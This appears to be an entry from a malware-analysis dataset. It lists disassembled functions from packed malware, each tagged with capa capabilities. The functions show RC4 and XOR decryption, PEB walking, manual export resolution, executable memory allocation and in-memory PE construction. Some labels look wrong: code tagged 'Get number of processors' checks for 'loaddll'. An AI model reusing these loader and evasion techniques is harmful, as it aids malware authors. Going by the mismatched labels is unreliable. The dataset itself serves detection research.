joyce8/EMBER2024-capa huggingface dataset:
Function at 0x571450
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x60
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x5c0758], 0x2249
mov dword [0x5c075c], 0x1ad5
mov edx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], ecx
jmp 0x5715df
lea eax, [0x573351]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], ecx
call fcn.00571b40
mov dword [0x5c0758], 0x3e2
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.00571020
mov ecx, eax
mov dword [0x5c0778], eax
mov eax, esp
mov edx, dword [ebp - 0x44]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
lea edx, section..code
imul esi, eax, 0x13c
mov edi, edx
add edi, esi
add edi, 0x138
mov esi, dword [edi]
imul edi, eax, 0x13c
mov ebx, edx
add ebx, edi
add ebx, 0x130
mov edi, dword [ebx]
imul ebx, eax, 0x13c
add edx, ebx
add edx, 0x134
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x48]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x5c], edx
call fcn.00571bc0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
add eax, ecx
mov edx, dword [ebp - 0x54]
add edx, 1
cmp edx, 0x3df
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], edx
jne 0x5714f4
mov eax, dword [0x5c075c]
add eax, 0x2170
mov dword [0x5c0758], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x44]
mov dword [esp + 8], ecx
call fcn.00571670
xor eax, eax
mov dword [0x5c075c], 0x15ce
mov ecx, dword [ebp - 0x48]
add ecx, 0x2580c
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov dword [edx + 4], 0x144600
mov ecx, dword [ebp - 0x48]
add ecx, 0x1f6b5
mov dword [edx + 8], ecx
mov dword [0x5c0758], 0xe3a
mov dword [edx + 0xc], 0x2010
add esp, 0x60
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
lea edx, section..code
imul esi, ecx, 0x13c
mov edi, edx
add edi, esi
add edi, 0x138
imul esi, ecx, 0x13c
add edx, esi
add edx, 0x134
add ecx, 1
mov esi, dword [edi]
movzx edx, word [edx]
xor edx, esi
add edx, eax
cmp ecx, 0x3df
mov eax, edx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
je 0x571482
jmp 0x5715df
Function at 0x571870
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [0x5c075c], 0x717
mov dword [0x5c0758], 0x127a
lea eax, [fcn.00571870]
mov dword [ebp - 4], eax
jmp 0x57189d
mov eax, dword [ebp - 8]
add esp, 0xc
pop ebp
ret
mov eax, dword [ebp - 4]
cmp word [eax], 0x5a4d
mov dword [ebp - 8], eax
jne 0x5718c6
mov eax, dword [ebp - 8]
add eax, 0x3c
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
cmp dword [edx + ecx], 0x4550
je 0x571895
mov eax, dword [ebp - 8]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [ebp - 4], eax
jmp 0x57189d

Function at 0x5718e0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x2c
mov dword [ebp - 8], 0
mov dword [0x5c0758], 0xea1
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x5c0758], 0x12cc
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x57197d
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov dx, word [eax + ecx*2 - 0x18]
mov word [ebp - 0x1a], dx
xor eax, eax
mov cx, word [ebp - 0x1a]
cmp cx, 0x6f
mov dword [ebp - 0x20], eax
je 0x5719ec
jmp 0x571a65
mov eax, 1
mov dword [0x5c075c], 0x369d
mov dword [ebp - 0x20], eax
jmp 0x571a65
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x20], eax
je 0x571a25
jmp 0x571a65
mov eax, dword [ebp - 0x14]
mov ecx, 0x1bd2
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
je 0x5719bc
mov eax, 0x19cd
mov ecx, dword [ebp - 0x24]
add ecx, 1
cmp ecx, 0x104
mov edx, ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
jl 0x57197d
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov dword [0x5c075c], ecx
mov dword [0x5c0758], 0x6b6
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], edx
je 0x571921
jmp 0x571a65
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x20], eax
jne 0x571a65
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov dx, word [eax + ecx*2 - 0x14]
mov word [ebp - 0x2e], dx
xor eax, eax
mov cx, word [ebp - 0x2e]
cmp cx, 0x64
mov dword [ebp - 0x20], eax
je 0x571960
jmp 0x571a65
mov dword [0x5c0758], 0xffffe770
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x20], eax
jne 0x571a65
xor eax, eax
mov dword [0x5c0758], 0x251c
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x571949
mov eax, dword [ebp - 0x20]
add esp, 0x2c
pop esi
pop ebp
ret
Function at 0x572030
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x5c0760], 0
mov dword [0x5c0764], 0
mov dword [0x5c0770], 0
mov dword [0x5c0758], 0x2448
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
je 0x5721a2
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x5c075c], 0x264a
mov edx, eax
add edx, 1
mov esi, dword [0x5c0760]
add esi, 1
mov dword [ebp - 0x24], eax
mov eax, esi
mov dword [ebp - 0x28], edx
cdq
idiv ecx
mov dword [0x5c0760], edx
mov esi, dword [0x5c0758]
add esi, 0xffffffa9
mov dword [0x5c0758], esi
mov esi, dword [0x5c0764]
mov edi, dword [ebp - 0x1c]
movzx edx, byte [edi + edx]
add edx, esi
mov eax, edx
cdq
idiv ecx
mov dword [0x5c0764], edx
mov ecx, dword [0x5c0760]
mov bl, byte [edi + ecx]
mov byte [0x5c0768], bl
mov ecx, dword [0x5c075c]
add ecx, 0xfffffaa5
mov dword [0x5c075c], ecx
mov ecx, dword [0x5c0764]
mov bl, byte [edi + ecx]
mov ecx, dword [0x5c0760]
mov byte [edi + ecx], bl
mov bl, byte [0x5c0768]
mov ecx, dword [0x5c0764]
mov byte [edi + ecx], bl
mov ecx, dword [0x5c0758]
add ecx, 0xffffe99b
mov dword [0x5c075c], ecx
mov ecx, dword [0x5c0760]
movzx ecx, byte [edi + ecx]
mov edx, dword [0x5c0764]
movzx edx, byte [edi + edx]
add edx, ecx
and edx, 0xff
mov dword [0x5c0770], edx
mov dword [0x5c075c], 0x1562
mov bl, byte [edi + edx]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
movzx esi, byte [ecx + edx]
mov dword [esp], esi
movzx esi, bl
mov dword [esp + 4], esi
call fcn.00401000
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
mov byte [ecx + edx], al
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x10]
cmp esi, edi
mov dword [ebp - 0x20], esi
jne 0x572089
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101af744
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 0xffffffff
cmp ecx, 0
sete bl
cmp eax, 0
sete bh
and bl, bh
test bl, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jne 0x101af7dc
jmp 0x101af788
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff8
mov dword [ebp - 0x18], eax
jmp 0x101af7dc
mov dword [0x101bed68], 0x25ed
mov dword [0x101bed64], 0x14fc
mov ecx, dword fs:[0x18]
mov dword [0x101bed64], 0xffffeafc
mov eax, dword [ecx + 0x30]
mov dword [0x101bed68], 0xffffd3cf
mov eax, dword [eax + 0xc]
add eax, 0x14
mov ecx, dword [ebp - 0x10]
cmp ecx, 0
setne dl
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x21], dl
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
jmp 0x101af819
mov eax, dword [ebp - 0x18]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [0x101bed64], 0x667
mov eax, dword [ebp - 0x2c]
add eax, 1
mov ecx, dword [ebp - 0x30]
cmp eax, ecx
setb dl
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x35], dl
mov al, byte [ebp - 0x35]
test al, 1
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x3c], ecx
jne 0x101af893
jmp 0x101af8f2
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [eax]
mov edx, dword [ebp - 0x20]
cmp eax, edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
je 0x101af7dc
mov dword [0x101bed64], 0xe77
mov eax, dword [ebp - 0x1c]
add eax, 0x24
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x28]
mov esi, dword [ecx + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x21]
and bh, bl
test bh, 1
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], esi
jne 0x101af77b
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov dx, word [ecx]
mov dword [0x101bed64], 0x26b6
shr dx, 1
movzx esi, dx
cmp dx, 0
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x3c], eax
je 0x101af819
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x44]
mov dx, word [ecx + eax*2]
mov si, dx
add si, 0xffbf
mov di, dx
add di, 0x20
cmp si, 0x1a
mov dword [ebp - 0x2c], eax
mov word [ebp - 0x4a], dx
mov word [ebp - 0x4c], di
jb 0x101af8c7
mov ax, word [ebp - 0x4a]
mov word [ebp - 0x4c], ax
mov ax, word [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x2c]
cmp word [ecx + edx*2], ax
sete bl
cmp ax, 0
sete bh
mov al, bl
xor al, 1
or bh, al
test bh, 1
mov byte [ebp - 0x4d], bl
jne 0x101af8f2
jmp 0x101af7e7
mov al, byte [ebp - 0x4d]
test al, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], ecx
jne 0x101af904
jmp 0x101af819
mov dword [0x101bed68], 0xffffc994
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], eax
jmp 0x101af7dc
Function at 0x101afd6a
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101bed70], 0
mov byte [0x101bed74], 0
mov dword [0x101bed64], 0x1f87
mov dword [0x101bed6c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101bed6c]
add eax, 1
mov dword [0x101bed6c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101afdaf
xor eax, eax
mov dword [0x101bed64], 0xd51
mov dword [0x101bed6c], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x101bed78], 0
mov dword [0x101bed64], 0x17de
mov edx, dword [0x101bed70]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x101bed78], edi
mov dword [0x101bed68], 0x51e
mov dword [0x101bed64], 0xffffe312
mov eax, edi
cdq
idiv ecx
mov dword [0x101bed70], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x101bed74], cl
mov dword [0x101bed64], 0x1980
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov ecx, dword [0x101bed64]
add ecx, 0x1ff7
mov dword [0x101bed68], ecx
mov cl, byte [0x101bed74]
mov edx, dword [0x101bed70]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x101bed64], 0x5e6
mov edx, dword [0x101bed68]
add edx, 0xfffffd1a
mov dword [0x101bed68], edx
mov edx, dword [0x101bed6c]
add edx, 1
mov dword [0x101bed6c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x101afdee
mov dword [0x101bed64], 0x1e31
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101b0362
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov dword [0x101bed68], 0x26de
mov dword [ebp - 0x10], eax
call fcn.101af919
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov dword [0x101bed68], 0xe73
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x101b03b2
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x101bed64], 0x16bd
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x101b04d4
mov eax, dword [ebp - 0x24]
add eax, 0x24
mov ecx, dword [ebp - 0x1c]
add ecx, eax
mov dword [ebp - 0x34], ecx
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x34]
add ecx, dword [edx]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
jmp 0x101b041a
mov al, byte [ebp - 0x3d]
test al, 1
jne 0x101b04b1
jmp 0x101b0487
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
mov ecx, eax
mov edx, dword [ebp - 0x4c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x55], bh
mov byte [ebp - 0x3d], cl
je 0x101b040d
mov eax, dword [ebp - 0x54]
add eax, 1
mov cl, byte [ebp - 0x55]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x3d]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x50], eax
jne 0x101b0434
jmp 0x101b040d
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 2
mov edx, dword [ebp - 0x44]
add edx, 1
mov esi, dword [ebp - 0x2c]
cmp edx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], eax
jb 0x101b041a
jmp 0x101b04d4
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x101bed64], 0x22a3
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x30]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101b0533
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x101bed64], 0x1927
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x101b0573
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x101b0646
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x101b05aa
mov dword [0x101bed64], 0x9f6
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
jl 0x101b0573
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x101b0569
mov dword [0x101bed64], 0x21a9
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
mov dx, word [eax + ecx*2 - 0x18]
mov word [ebp - 0x22], dx
mov ax, word [ebp - 0x22]
cmp ax, 0x6f
jne 0x101b0569
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x101b0569
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x101b0569
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x101b0569
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x101b0569
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x14], eax
jne 0x101b0569
mov eax, dword [ebp - 0x14]
add esp, 0x24
pop ebp
ret
Function at 0x101b064e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x101b069c
lea eax, [ebp - 0x24]
mov dword [0x101bed64], 0x1372
mov dword [ebp - 0x34], eax
call fcn.101b0d65
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.101afa83
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x101b077c
jmp 0x101b06c4
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x101b147f]
mov dl, byte [eax + 0x101b1450]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
je 0x101b0668
jmp 0x101b069c
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x101bed64]
add ecx, 0xffffdbc9
mov dword [0x101bed64], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.101afc41
xor eax, eax
mov ecx, dword [0x101bed64]
add ecx, 0xffffe005
mov dword [0x101bed68], ecx
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x40], ecx
mov dword [0x101bed64], 0x19c4
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x1c], ecx
add ecx, 0x1b27
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x101b0773
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x101b089e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101bed6c], 0
mov dword [0x101bed70], 0
mov dword [0x101bed7c], 0
mov ebx, dword [0x101bed68]
add ebx, 0xfffff338
mov dword [0x101bed64], ebx
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x101b0a27
jmp 0x101b0930
mov eax, dword [0x101bed6c]
mov ecx, dword [0x101bed70]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x101b0930
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add eax, 1
mov dword [0x101bed64], 0x20d1
mov edi, edx
add edi, 1
mov dword [0x101bed68], 0x7e7
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x101bed6c], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x3c], edx
cdq
idiv esi
mov dword [0x101bed70], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x101bed74], cl
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101bed74]
mov edx, dword [0x101bed70]
mov byte [ebx + edx], cl
mov dword [0x101bed68], 0x2664
mov edx, dword [0x101bed6c]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x101bed70]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x101bed7c], ecx
mov dword [0x101bed64], 0x1fb1
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x38]
mov ch, byte [edx + esi]
mov byte [0x101bed81], ch
mov byte [0x101bed82], cl
xor ch, cl
mov byte [0x101bed80], ch
mov dword [0x101bed64], 0x251f
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov dword [0x101bed68], 0x13d3
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x34], edi
jne 0x101b090b
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101b0b63
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x101bed64], 0x1f19
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.101afef4
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x40], 0x122800
mov dword [esp + 0x20], eax
lea eax, [0x101b04df]
mov ecx, dword [0x101bed50]
mov dword [esp + 0x38], ecx
mov ecx, dword [0x101bed54]
mov dword [esp + 0x60], ecx
mov ecx, dword [0x101bed58]
mov dword [esp + 0x44], ecx
mov ecx, dword [0x101bed5c]
mov dword [esp + 0x68], ecx
mov ecx, dword [0x101bed60]
mov dword [esp + 0x64], ecx
mov dword [0x101bed68], 0x4bf
mov dword [esp + 0x1c], eax
jmp 0x101b0c90
lea eax, [esp + 0x38]
mov dword [0x101bed68], 0x341
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101b064e
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x18], eax
jmp 0x101b0c72
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x101b0c90
mov eax, dword [esp + 0x14]
mov dword [esp + 0x70], eax
mov dword [0x101bed68], 0xe73
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0xc]
mov dword [esp + 0x58], eax
call fcn.101b0533
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
je 0x101b0bec
mov eax, dword [esp + 0x18]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], ecx
je 0x101b0c36
jmp 0x101b0c22
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
je 0x101b0c7a
jmp 0x101b0c22